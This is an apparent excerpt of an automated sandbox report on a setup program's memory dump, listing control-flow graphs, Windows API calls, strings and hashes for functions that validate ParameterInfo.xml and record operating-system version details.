                    control_flow_graph 1506 6cb9148d-6cb91502 call 6cb8ac58 call 6cbb85bc 1512 6cb91508-6cb9151d call 6cbdc0aa 1506->1512 1513 6cb9158e-6cb915a1 call 6cbb85bc 1506->1513 1518 6cb9151f-6cb9153b call 6cbb833e call 6cb90e96 1512->1518 1519 6cb91554 1512->1519 1520 6cb9160b-6cb9161c call 6cbb85bc 1513->1520 1521 6cb915a3-6cb915b8 call 6cbdc0aa 1513->1521 1540 6cb91540-6cb91552 call 6cbd8f0e 1518->1540 1525 6cb91556-6cb91561 1519->1525 1533 6cb9161e-6cb91631 call 6cbdc0aa 1520->1533 1534 6cb91661-6cb91674 call 6cbb85bc 1520->1534 1535 6cb915ba-6cb915d6 call 6cbb833e call 6cb90e96 1521->1535 1536 6cb915ef 1521->1536 1526 6cb91569 1525->1526 1527 6cb91563-6cb91565 1525->1527 1531 6cb9156b-6cb9158b call 6cbd8f0e 1526->1531 1527->1526 1553 6cb91643 1533->1553 1554 6cb91633-6cb9163a call 6cb911f6 1533->1554 1550 6cb916c9-6cb916dc call 6cbb85bc 1534->1550 1551 6cb91676-6cb9168b call 6cbdc0aa 1534->1551 1556 6cb915db-6cb915ed call 6cbd8f0e 1535->1556 1538 6cb915f1-6cb915fc 1536->1538 1544 6cb915fe-6cb91600 1538->1544 1545 6cb91604-6cb91606 1538->1545 1540->1525 1544->1545 1545->1531 1567 6cb916de-6cb916f3 call 6cbdc0aa 1550->1567 1568 6cb91731-6cb91744 call 6cbb85bc 1550->1568 1551->1536 1569 6cb91691-6cb916c4 call 6cbb833e call 6cb900a7 call 6cbd8f0e 1551->1569 1557 6cb91645-6cb91650 1553->1557 1561 6cb9163f-6cb91641 1554->1561 1556->1538 1557->1531 1563 6cb91656-6cb9165c 1557->1563 1561->1557 1563->1531 1567->1536 1579 6cb916f9-6cb9172c call 6cbb833e call 6cb900a7 call 6cbd8f0e 1567->1579 1577 6cb91799-6cb917ac call 6cbb85bc 1568->1577 1578 6cb91746-6cb91748 call 6cbdc0aa 1568->1578 1569->1538 1589 6cb917ae-6cb917c3 call 6cbdc0aa 1577->1589 1590 6cb91801-6cb91814 call 6cbb85bc 1577->1590 1586 6cb9174d-6cb9175b 1578->1586 1579->1538 1586->1536 1592 6cb91761-6cb91794 call 6cbb833e call 6cb900a7 call 6cbd8f0e 1586->1592 1589->1536 1602 6cb917c9-6cb917e5 call 6cbb833e call 6cb900a7 1589->1602 1604 6cb91869-6cb9187a call 6cbb85bc 1590->1604 1605 6cb91816-6cb9182b call 6cbdc0aa 1590->1605 1592->1538 1622 6cb917ea-6cb917fc call 6cbd8f0e 1602->1622 1617 6cb9187c-6cb9187e call 6cbdc0aa 1604->1617 1618 6cb918a6-6cb918b7 call 6cbb85bc 1604->1618 1605->1536 1615 6cb91831-6cb91864 call 6cbb833e call 6cb900a7 call 6cbd8f0e 1605->1615 1615->1538 1627 6cb91883-6cb9188f 1617->1627 1629 6cb918b9-6cb918c3 call 6cbdc0aa 1618->1629 1630 6cb918d7-6cb918e8 call 6cbb85bc 1618->1630 1622->1538 1627->1553 1632 6cb91895-6cb918a1 call 6cb90baa 1627->1632 1629->1553 1642 6cb918c9 1629->1642 1643 6cb918ea-6cb918f4 call 6cbdc0aa 1630->1643 1644 6cb91902-6cb919d7 call 6cbb833e call 6cbb8cd5 call 6cb8838a call 6cbd8f0e * 2 call 6cb88415 call 6cbd8f0e call 6cb8a378 call 6cbe14aa call 6cbe6e1a call 6cb88b9f call 6cb9148d 1630->1644 1632->1618 1646 6cb918cf 1642->1646 1643->1553 1650 6cb918fa-6cb91900 1643->1650 1674 6cb919dc-6cb919e8 1644->1674 1646->1630 1650->1646 1675 6cb919ea-6cb919ec 1674->1675 1676 6cb919f0-6cb91a19 call 6cbd8eab 1674->1676 1675->1676 1679 6cb91a1b-6cb91a1d 1676->1679 1680 6cb91a21-6cb91a29 call 6cb8922c 1676->1680 1679->1680 1683 6cb91a2f-6cb91ade call 6cbb833e call 6cbb8cd5 call 6cbb8c7a call 6cb8838a call 6cbd8f0e * 3 call 6cb88415 call 6cbd8f0e call 6cb8a378 call 6cbe14aa 1680->1683 1684 6cb91ae3-6cb91aea call 6cbe6f06 1680->1684 1683->1684
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3$Exception@8FreeStringThrow_malloc
                    • String ID: can only have one logical or arithmietic expression for a child node$AlwaysTrue$And$Equals$Exists$GreaterThan$GreaterThanOrEqualTo$LessThan$LessThanOrEqualTo$NeverTrue$Not$ParameterInfo.xml$schema validation failure: $schema validation failure: unknown Expression:
                    • API String ID: 1924927865-100526994
                    • Opcode ID: d0da7dc3df78fa2f4c127b14a9d5fe25420b1d3e8c2d25d5082e35d610d7f518
                    • Instruction ID: b3d2d3e850912b2b539862220ab08d209525c067b9f1f75855ba8a07adef98a8
                    • Opcode Fuzzy Hash: d0da7dc3df78fa2f4c127b14a9d5fe25420b1d3e8c2d25d5082e35d610d7f518
                    • Instruction Fuzzy Hash: 39027F715083C59BD700CFA8C840BAEBBECAF96358F140A2AF555D7B91DB71D9088B63
                    Function 6CBC0C91 Relevance: 30.0, APIs: 9, Strings: 8, Instructions: 247COMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 1709 6cbc0c91-6cbc0cb5 call 6cbe6e8d GetModuleHandleW 1712 6cbc0cea-6cbc0cfb 1709->1712 1713 6cbc0cb7-6cbc0ce5 call 6cbb833e GetLastError call 6cbc1236 1709->1713 1718 6cbc0cfd 1712->1718 1719 6cbc0d03-6cbc0db0 GetNativeSystemInfo call 6cb84e07 call 6cb8c5d4 call 6cbd8f0e call 6cbb833e call 6cbc1236 call 6cbd8f0e call 6cb84fd5 1712->1719 1722 6cbc1007-6cbc1014 call 6cbd8f0e call 6cbe6f1f 1713->1722 1718->1719 1741 6cbc0dca 1719->1741 1742 6cbc0db2-6cbc0dba GetLastError 1719->1742 1743 6cbc0dcc-6cbc0e13 call 6cbb833e call 6cbc1236 call 6cbd8f0e call 6cb84fac 1741->1743 1744 6cbc0dbc-6cbc0dc1 1742->1744 1745 6cbc0dc6-6cbc0dc8 1742->1745 1754 6cbc0e19 1743->1754 1755 6cbc0e15-6cbc0e17 1743->1755 1744->1745 1745->1743 1756 6cbc0e20-6cbc0e36 1754->1756 1755->1756 1758 6cbc0e38-6cbc0e40 GetLastError 1756->1758 1759 6cbc0e50 1756->1759 1760 6cbc0e4c-6cbc0e4e 1758->1760 1761 6cbc0e42-6cbc0e47 1758->1761 1762 6cbc0e52-6cbc0e9d call 6cbb833e call 6cbc1236 call 6cbd8f0e 1759->1762 1760->1762 1761->1760 1771 6cbc0e9f-6cbc0ea7 GetLastError 1762->1771 1772 6cbc0eb7 1762->1772 1774 6cbc0ea9-6cbc0eae 1771->1774 1775 6cbc0eb3-6cbc0eb5 1771->1775 1773 6cbc0eb9-6cbc0f5d call 6cbb833e call 6cbc1236 call 6cbd8f0e call 6cbde770 call 6cb84fac call 6cb85727 call 6cbc356c 1772->1773 1791 6cbc0f5f-6cbc0f67 GetLastError 1773->1791 1792 6cbc0f77 1773->1792 1774->1775 1775->1773 1793 6cbc0f69-6cbc0f6e 1791->1793 1794 6cbc0f73-6cbc0f75 1791->1794 1795 6cbc0f79-6cbc0fb4 call 6cbb833e call 6cbc1236 call 6cbd8f0e call 6cb8712b 1792->1795 1793->1794 1794->1795 1803 6cbc0fb9-6cbc1001 call 6cb8c5d4 call 6cbd8f0e call 6cbb833e call 6cbc1236 1795->1803 1803->1722
                    APIs
                    • __EH_prolog3_GS.LIBCMT ref: 6CBC0C9B
                    • GetModuleHandleW.KERNEL32(kernel32.dll,0000029C,6CBBA587,?,6CB7A794,?,-00000960,?,00000000,?,Failed to record current state name), ref: 6CBC0CAD
                    • GetLastError.KERNEL32(?,Failed to record OSFullBuildNumber), ref: 6CBC0CCC
                      • Part of subcall function 6CBC1236: __EH_prolog3.LIBCMT ref: 6CBC123D
                    • GetNativeSystemInfo.KERNEL32(?), ref: 6CBC0D21
                    • GetLastError.KERNEL32(?,00000000,?,Failed to record OSFullBuildNumber,000001C5,00000000), ref: 6CBC0DB2
                    • GetLastError.KERNEL32(?,00000000,?,Failed to record OSAbbr,?,00000000,?,Failed to record OSFullBuildNumber,000001C5,00000000), ref: 6CBC0E38
                      • Part of subcall function 6CBB833E: __EH_prolog3.LIBCMT ref: 6CBB8345
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: ErrorLast$H_prolog3$H_prolog3_HandleInfoModuleNativeSystem
                    • String ID: Failed to record OSAbbr$Failed to record OSComplete$Failed to record OSFullBuildNumber$Failed to record OsSpLevel$Failed to record SystemLocale$Failed to record WindowsInstallerVersion$GetNativeSystemInfo$kernel32.dll
                    • API String ID: 684166175-3561000745
                    • Opcode ID: 2a9e99849c8b35521303b7d4f1a16598653665a01457b22ee72dfa0b3baf2cbb
                    • Instruction ID: 71be6ae0cb40d2d4afd48e9c8585f964bcb4f793d4cbc568695d79971dea000f
                    • Opcode Fuzzy Hash: 2a9e99849c8b35521303b7d4f1a16598653665a01457b22ee72dfa0b3baf2cbb
                    • Instruction Fuzzy Hash: B7A1E671A001DAAFCF20DBA4CD08BDEB7B9AF45319F1445D4E404E7780DB75EA898B62
                    Function 6CB987B0 Relevance: 28.6, APIs: 2, Strings: 14, Instructions: 565COMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 1812 6cb987b0-6cb987d8 call 6cbe6e1a 1815 6cb987da-6cb987dc 1812->1815 1816 6cb987e0-6cb98801 call 6cb96249 1812->1816 1815->1816 1819 6cb98809-6cb98826 call 6cb969b7 1816->1819 1820 6cb98803-6cb98805 1816->1820 1823 6cb98828-6cb9882a 1819->1823 1824 6cb9882e-6cb98868 call 6cb96440 call 6cbb833e 1819->1824 1820->1819 1823->1824 1829 6cb9886a-6cb9886c 1824->1829 1830 6cb98870-6cb98890 call 6cb88d44 call 6cb91c2e 1824->1830 1829->1830 1835 6cb98898-6cb988ce call 6cbd8f0e call 6cbb833e 1830->1835 1836 6cb98892-6cb98894 1830->1836 1841 6cb988d0-6cb988d2 1835->1841 1842 6cb988d6-6cb988f6 call 6cb88d44 call 6cb91d3d 1835->1842 1836->1835 1841->1842 1847 6cb988f8-6cb988fa 1842->1847 1848 6cb988fe-6cb98934 call 6cbd8f0e call 6cbb833e 1842->1848 1847->1848 1853 6cb9893c-6cb98962 call 6cb88d44 call 6cb9784c 1848->1853 1854 6cb98936-6cb98938 1848->1854 1859 6cb9896a-6cb9899f call 6cbd8f0e call 6cbb833e 1853->1859 1860 6cb98964-6cb98966 1853->1860 1854->1853 1865 6cb989a1-6cb989a3 1859->1865 1866 6cb989a7-6cb989be call 6cb89411 call 6cb93ba9 1859->1866 1860->1859 1865->1866 1870 6cb989c3-6cb989cc 1866->1870 1871 6cb989ce-6cb989d0 1870->1871 1872 6cb989d4-6cb989f6 call 6cbd8f0e 1870->1872 1871->1872 1875 6cb989f8-6cb989fa 1872->1875 1876 6cb989fe-6cb98a1d call 6cb96d1f 1872->1876 1875->1876 1879 6cb98a1f-6cb98a21 1876->1879 1880 6cb98a25-6cb98a47 call 6cb96e28 1876->1880 1879->1880 1883 6cb98a49-6cb98a4b 1880->1883 1884 6cb98a4f-6cb98ad6 call 6cb970c5 call 6cbb833e 1880->1884 1883->1884 1889 6cb98ad8-6cb98ada 1884->1889 1890 6cb98ade-6cb98b25 call 6cb895c1 call 6cbd8f0e call 6cbb833e 1884->1890 1889->1890 1897 6cb98b2d-6cb98b74 call 6cb895c1 call 6cbd8f0e call 6cbb833e 1890->1897 1898 6cb98b27-6cb98b29 1890->1898 1905 6cb98b7c-6cb98ba9 call 6cb895c1 call 6cbd8f0e 1897->1905 1906 6cb98b76-6cb98b78 1897->1906 1898->1897 1911 6cb98bab-6cb98bad 1905->1911 1912 6cb98bb1-6cb98be4 call 6cb97c1f call 6cbb833e 1905->1912 1906->1905 1911->1912 1917 6cb98bec-6cb98c37 call 6cb89703 call 6cbd8f0e call 6cbb833e 1912->1917 1918 6cb98be6-6cb98be8 1912->1918 1925 6cb98c39-6cb98c3b 1917->1925 1926 6cb98c3f-6cb98c67 call 6cb889b7 call 6cbd8f0e 1917->1926 1918->1917 1925->1926 1931 6cb98c69-6cb98c6b 1926->1931 1932 6cb98c6f-6cb98c77 call 6cb8922c 1926->1932 1931->1932 1935 6cb98c7d-6cb98cfc call 6cbb833e * 2 call 6cb8838a call 6cbd8f0e * 2 call 6cb88415 call 6cbd8f0e call 6cb8a378 1932->1935 1936 6cb98d0f-6cb98d36 call 6cbb833e 1932->1936 1977 6cb98d01-6cb98d0a call 6cbe14aa 1935->1977 1942 6cb98d38-6cb98d3a 1936->1942 1943 6cb98d3e-6cb98d87 call 6cb89703 call 6cbb833e call 6cb8a2b5 call 6cbd8f0e * 2 1936->1943 1942->1943 1963 6cb98d89-6cb98d9d call 6cba2d50 1943->1963 1964 6cb98e00-6cb98e11 call 6cb97fb3 1943->1964 1973 6cb98d9f-6cb98da7 1963->1973 1974 6cb98db3 1963->1974 1975 6cb98e19-6cb98e20 call 6cbe6f06 1964->1975 1976 6cb98e13-6cb98e15 1964->1976 1978 6cb98da9-6cb98dab 1973->1978 1979 6cb98dad-6cb98db1 1973->1979 1980 6cb98db7-6cb98dc6 call 6cbd8f0e 1974->1980 1976->1975 1977->1936 1978->1974 1978->1979 1979->1980 1980->1964 1986 6cb98dc8-6cb98dfb call 6cbb833e * 2 call 6cb8838a 1980->1986 1986->1977
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CB987B7
                      • Part of subcall function 6CB91D3D: __EH_prolog3.LIBCMT ref: 6CB91D44
                      • Part of subcall function 6CB91D3D: __CxxThrowException@8.LIBCMT ref: 6CB91E11
                      • Part of subcall function 6CB895C1: __EH_prolog3.LIBCMT ref: 6CB895C8
                      • Part of subcall function 6CB895C1: VariantInit.OLEAUT32(?), ref: 6CB895DB
                      • Part of subcall function 6CB895C1: SysFreeString.OLEAUT32(?), ref: 6CB8960E
                      • Part of subcall function 6CB895C1: VariantClear.OLEAUT32(00000008), ref: 6CB8962E
                      • Part of subcall function 6CB8A378: __EH_prolog3.LIBCMT ref: 6CB8A37F
                    • __CxxThrowException@8.LIBCMT ref: 6CB98D0A
                      • Part of subcall function 6CBE14AA: KiUserExceptionDispatcher.NTDLL(?,?,6CBDC129,00000C00,?,?,?,?,6CBDC129,00000C00,6CBFBA3C,6CC176D4,00000C00,00000020,6CBBF845,?), ref: 6CBE14EC
                      • Part of subcall function 6CBB833E: __EH_prolog3.LIBCMT ref: 6CBB8345
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3$Exception@8ThrowVariant$ClearDispatcherExceptionFreeInitStringUser
                    • String ID: 1$ActionTable$ApplicableIf$Compressed$Compressed items need to have URL and CompressedDownloadSize authored.$CustomErrorHandling$Exe$InstallCommandLine$IsPresent$LogFileHint$ParameterInfo.xml$RepairCommandLine$UninstallCommandLine$schema validation failure: wrong number of EXE child nodes!
                    • API String ID: 1022868530-2895508641
                    • Opcode ID: 0912407ae9de0edf0d6d80f2082e5348271edca9660e3d247a0e69133802604d
                    • Instruction ID: 0463443e3186f826d6b62772153b534760d9205b263bfb8260d76519fbff6246
                    • Opcode Fuzzy Hash: 0912407ae9de0edf0d6d80f2082e5348271edca9660e3d247a0e69133802604d
                    • Instruction Fuzzy Hash: 74321C71A01289AFDF04CFA8C944AEEBBB9BF09318F144559F814EB791C735EA05CB61
                    Function 6CBC9D05 Relevance: 28.3, APIs: 2, Strings: 14, Instructions: 311COMMON
                    Download Yara Rule

                    Control-flow Graph

                    APIs
                      • Part of subcall function 6CB839AD: __EH_prolog3.LIBCMT ref: 6CB839B4
                    • GetCommandLineW.KERNEL32(564FE71B,?,00000000,ParameterInfo.xml,?,?,?,00000000,?,?,?,?,ParameterInfo.xml,?,00000000,?), ref: 6CBC9D54
                      • Part of subcall function 6CB83E77: __EH_prolog3.LIBCMT ref: 6CB83E7E
                      • Part of subcall function 6CB83A16: __EH_prolog3.LIBCMT ref: 6CB83A1D
                    • __CxxThrowException@8.LIBCMT ref: 6CBC9EBD
                    Strings
                    • SetupVersion specified in ParameterInfo.xml has a minor version greater than the currently supported version., xrefs: 6CBC9F58
                    • SetupVersion specified in ParameterInfo.xml has a minor version lower than the currently supported version., xrefs: 6CBC9F44
                    • SetupVersion not specified, xrefs: 6CBC9E1F
                    • ParameterInfo.xml, xrefs: 6CBC9E2E, 6CBC9F67, 6CBCA096
                    • than the currently supported version., xrefs: 6CBCA006
                    • NoSetupVersionCheck, xrefs: 6CBC9D6C
                    • higher, xrefs: 6CBCA001, 6CBCA017
                    • SetupVersion, xrefs: 6CBC9DC0
                    • lower, xrefs: 6CBC9FFA
                    • SetupVersion specified in ParameterInfo.xml is '%s', xrefs: 6CBC9EC3
                    • SetupVersion specified in ParameterInfo.xml is , xrefs: 6CBCA029
                    • Command line switch 'NoSetupVersionCheck' found - so not performing SetupVersion check., xrefs: 6CBC9D95
                    • Current SetupVersion = %s, xrefs: 6CBC9D43
                    • 1.0, xrefs: 6CBC9D3D, 6CBC9D42, 6CBC9ED4, 6CBC9EFB
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3$CommandException@8LineThrow
                    • String ID: than the currently supported version.$1.0$Command line switch 'NoSetupVersionCheck' found - so not performing SetupVersion check.$Current SetupVersion = %s$NoSetupVersionCheck$ParameterInfo.xml$SetupVersion$SetupVersion not specified$SetupVersion specified in ParameterInfo.xml has a minor version greater than the currently supported version.$SetupVersion specified in ParameterInfo.xml has a minor version lower than the currently supported version.$SetupVersion specified in ParameterInfo.xml is $SetupVersion specified in ParameterInfo.xml is '%s'$higher$lower
                    • API String ID: 1129948358-1674238012
                    • Opcode ID: 50fd81dddac5549b7d8ee0da8f7ee63920cbf1ddcab9a5d34924769bd83a75df
                    • Instruction ID: 843d726a3ef2d21213acc840a516c0ddca06bd6e9555ebe3e16856a08f065742
                    • Opcode Fuzzy Hash: 50fd81dddac5549b7d8ee0da8f7ee63920cbf1ddcab9a5d34924769bd83a75df
                    • Instruction Fuzzy Hash: 26C14A725087809FD710DB68C840B9FBBE8AF95328F140A1DF1A197B91DB31E90D8B67
                    Function 6CB99847 Relevance: 26.9, APIs: 2, Strings: 13, Instructions: 646COMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 2108 6cb99847-6cb9987d call 6cbe6e1a call 6cbd8e54 2113 6cb9988d-6cb998be call 6cbb833e 2108->2113 2114 6cb9987f-6cb9988a 2108->2114 2117 6cb998c0-6cb998c2 2113->2117 2118 6cb998c6-6cb998ff call 6cb895c1 call 6cbd8f0e call 6cbb833e 2113->2118 2114->2113 2117->2118 2125 6cb9990f-6cb99936 call 6cb89703 2118->2125 2126 6cb99901-6cb9990c 2118->2126 2129 6cb99938-6cb9993a 2125->2129 2130 6cb9993e-6cb9996e call 6cbd8f0e call 6cbb833e 2125->2130 2126->2125 2129->2130 2135 6cb9997e-6cb999a6 call 6cb8a1ff 2130->2135 2136 6cb99970-6cb9997b 2130->2136 2139 6cb999a8-6cb999aa 2135->2139 2140 6cb999ae-6cb999db call 6cbd8f0e call 6cbb833e 2135->2140 2136->2135 2139->2140 2145 6cb999eb-6cb99a13 call 6cb8a1ff 2140->2145 2146 6cb999dd-6cb999e8 2140->2146 2149 6cb99a1b-6cb99a4d call 6cbd8f0e call 6cb88aac call 6cb88996 2145->2149 2150 6cb99a15-6cb99a17 2145->2150 2146->2145 2157 6cb99a4f-6cb99a51 2149->2157 2158 6cb99a55-6cb99a6a call 6cbb8608 2149->2158 2150->2149 2157->2158 2161 6cb99c71-6cb99c80 call 6cbdc0aa 2158->2161 2162 6cb99a70-6cb99a7f call 6cbdc0aa 2158->2162 2169 6cb99e08 2161->2169 2170 6cb99c86-6cb99d54 call 6cbb833e * 3 call 6cb88aac call 6cb88d44 call 6cb9784c call 6cb88aac call 6cb88d44 call 6cb91d3d 2161->2170 2167 6cb99bc8 2162->2167 2168 6cb99a85-6cb99b2f call 6cbb833e call 6cb88aac call 6cb89411 call 6cb9784c call 6cb83834 call 6cb91af2 call 6cb83834 call 6cbdc0aa 2162->2168 2174 6cb99bca-6cb99bd7 2167->2174 2268 6cb99b3c 2168->2268 2269 6cb99b31-6cb99b3a 2168->2269 2171 6cb99e0a-6cb99e1a 2169->2171 2274 6cb99d59-6cb99dd0 call 6cb88aac call 6cb88d44 call 6cb91c2e 2170->2274 2175 6cb99e1c-6cb99e28 2171->2175 2176 6cb99e30-6cb99e3e 2171->2176 2179 6cb99bd9-6cb99be2 2174->2179 2180 6cb99bea-6cb99bf5 2174->2180 2175->2176 2183 6cb99e2a-6cb99e2c 2175->2183 2186 6cb99e40-6cb99e4d call 6cb91b7a 2176->2186 2187 6cb99e52-6cb99e60 2176->2187 2179->2180 2188 6cb99be4-6cb99be6 2179->2188 2181 6cb99bf7-6cb99c01 call 6cb91b7a 2180->2181 2182 6cb99c06-6cb99c11 2180->2182 2181->2182 2190 6cb99c13-6cb99c1d call 6cb91b7a 2182->2190 2191 6cb99c22-6cb99c26 2182->2191 2183->2176 2186->2187 2195 6cb99e62-6cb99e6e 2187->2195 2196 6cb99e76-6cb99e84 2187->2196 2188->2180 2190->2191 2200 6cb99c28-6cb99c2c 2191->2200 2201 6cb99c36-6cb99c41 2191->2201 2195->2196 2202 6cb99e70-6cb99e72 2195->2202 2203 6cb99e98-6cb99ea6 2196->2203 2204 6cb99e86-6cb99e93 call 6cb91b7a 2196->2204 2200->2201 2207 6cb99c43-6cb99c4c 2201->2207 2208 6cb99c54-6cb99c5f 2201->2208 2202->2196 2210 6cb99ea8-6cb99eb4 2203->2210 2211 6cb99ebc-6cb99ec3 2203->2211 2204->2203 2207->2208 2217 6cb99c4e-6cb99c50 2207->2217 2218 6cb99f4f-6cb99f51 2208->2218 2219 6cb99c65-6cb99c6c 2208->2219 2210->2211 2212 6cb99eb6-6cb99eb8 2210->2212 2213 6cb99ec5-6cb99ecc 2211->2213 2214 6cb99ed6-6cb99ee4 2211->2214 2212->2211 2213->2214 2222 6cb99efa-6cb99f01 2214->2222 2223 6cb99ee6-6cb99ef2 2214->2223 2217->2208 2220 6cb9a065-6cb9a0b2 call 6cbb8cd5 call 6cb88329 call 6cbd8f0e call 6cb8a3bc 2218->2220 2221 6cb99f57-6cb99fac call 6cb96cb7 call 6cbd8eab call 6cbb84b9 call 6cbd8f0e * 2 call 6cbbb331 2218->2221 2226 6cb99f47-6cb99f4a call 6cbd8f0e 2219->2226 2271 6cb9a05f-6cb9a060 call 6cbe14aa 2220->2271 2283 6cb99fae-6cb99fe5 call 6cbccc2c call 6cbd8f0e * 3 2221->2283 2284 6cb99ff7-6cb9a05c call 6cbb833e call 6cbb8cd5 call 6cb8838a call 6cbd8f0e * 2 call 6cb8a378 2221->2284 2231 6cb99f03-6cb99f10 call 6cbd8f0e 2222->2231 2232 6cb99f15-6cb99f1c 2222->2232 2223->2222 2230 6cb99ef4-6cb99ef6 2223->2230 2226->2218 2230->2222 2231->2232 2240 6cb99f1e-6cb99f2b call 6cbd8f0e 2232->2240 2241 6cb99f30-6cb99f3b 2232->2241 2240->2241 2241->2218 2247 6cb99f3d-6cb99f44 2241->2247 2247->2226 2273 6cb99b3e-6cb99b90 call 6cbd8e54 2268->2273 2269->2273 2271->2220 2285 6cb99ba0-6cb99bc6 call 6cb98e28 2273->2285 2286 6cb99b92-6cb99b9d 2273->2286 2300 6cb99de0-6cb99e06 call 6cb98e28 2274->2300 2301 6cb99dd2-6cb99ddd 2274->2301 2313 6cb99fed-6cb99ff4 call 6cbe6f06 2283->2313 2314 6cb99fe7-6cb99fe9 2283->2314 2284->2271 2285->2174 2286->2285 2300->2171 2301->2300 2314->2313
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CB99851
                      • Part of subcall function 6CBDC0AA: _malloc.LIBCMT ref: 6CBDC0C4
                      • Part of subcall function 6CBDC0AA: std::exception::exception.LIBCMT ref: 6CBDC0F9
                      • Part of subcall function 6CBDC0AA: std::exception::exception.LIBCMT ref: 6CBDC113
                      • Part of subcall function 6CBDC0AA: __CxxThrowException@8.LIBCMT ref: 6CBDC124
                      • Part of subcall function 6CBB833E: __EH_prolog3.LIBCMT ref: 6CBB8345
                      • Part of subcall function 6CB88AAC: __EH_prolog3.LIBCMT ref: 6CB88AB3
                      • Part of subcall function 6CB88AAC: __CxxThrowException@8.LIBCMT ref: 6CB88B39
                      • Part of subcall function 6CB88D44: __EH_prolog3.LIBCMT ref: 6CB88D4B
                      • Part of subcall function 6CB9784C: __EH_prolog3.LIBCMT ref: 6CB97853
                      • Part of subcall function 6CB88D44: __CxxThrowException@8.LIBCMT ref: 6CB88EFD
                      • Part of subcall function 6CB91D3D: __EH_prolog3.LIBCMT ref: 6CB91D44
                      • Part of subcall function 6CB91D3D: __CxxThrowException@8.LIBCMT ref: 6CB91E11
                      • Part of subcall function 6CB91C2E: __EH_prolog3.LIBCMT ref: 6CB91C35
                      • Part of subcall function 6CB91C2E: __CxxThrowException@8.LIBCMT ref: 6CB91D02
                      • Part of subcall function 6CBB8CD5: __EH_prolog3.LIBCMT ref: 6CBB8CDC
                      • Part of subcall function 6CB8838A: __EH_prolog3.LIBCMT ref: 6CB88391
                      • Part of subcall function 6CB8A378: __EH_prolog3.LIBCMT ref: 6CB8A37F
                    • __CxxThrowException@8.LIBCMT ref: 6CB9A060
                      • Part of subcall function 6CBE14AA: KiUserExceptionDispatcher.NTDLL(?,?,6CBDC129,00000C00,?,?,?,?,6CBDC129,00000C00,6CBFBA3C,6CC176D4,00000C00,00000020,6CBBF845,?), ref: 6CBE14EC
                      • Part of subcall function 6CB88329: __EH_prolog3.LIBCMT ref: 6CB88330
                      • Part of subcall function 6CB8A3BC: __EH_prolog3.LIBCMT ref: 6CB8A3C3
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
